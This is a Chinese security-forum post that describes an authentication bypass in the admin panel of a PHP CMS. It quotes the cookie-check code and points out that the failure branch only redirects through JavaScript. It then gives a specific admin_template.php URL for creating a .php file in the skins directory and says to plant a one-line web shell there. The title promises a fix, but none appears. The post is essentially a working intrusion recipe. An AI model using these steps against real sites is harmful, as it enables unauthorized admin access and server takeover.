灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:1407回复:0

搜一次cms php绕过验证缺陷及修复

楼主#
更多 发布于:2012-08-23 23:09

作者:z2681


From:90sec

漏洞文件  admin 目录下的admin_loginstate.php

看代码

if(empty($_COOKIE['S_AdminID'])){
  echo "<script>window.location='admin_login.php'</script>";
  exit;
  }
elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassword'].$_COOKIE['S_Permission'])){
  echo "<script>window.parent.location='admin_login.php'</script>";
  }
?>

很简单的看出来是cookie验证  我们直接禁止JS可直接进后台

进后台后简单的说下拿shell的方法

/admin/admin_template.php?action=templist;path=../skins/index/html/;tempname=默认模版;file=qingshen.php90

直接访问这个url 然后写个一句话就可以了 目录当然是在/skins/index/html/ 目录下的

喜欢0 评分0
游客

返回顶部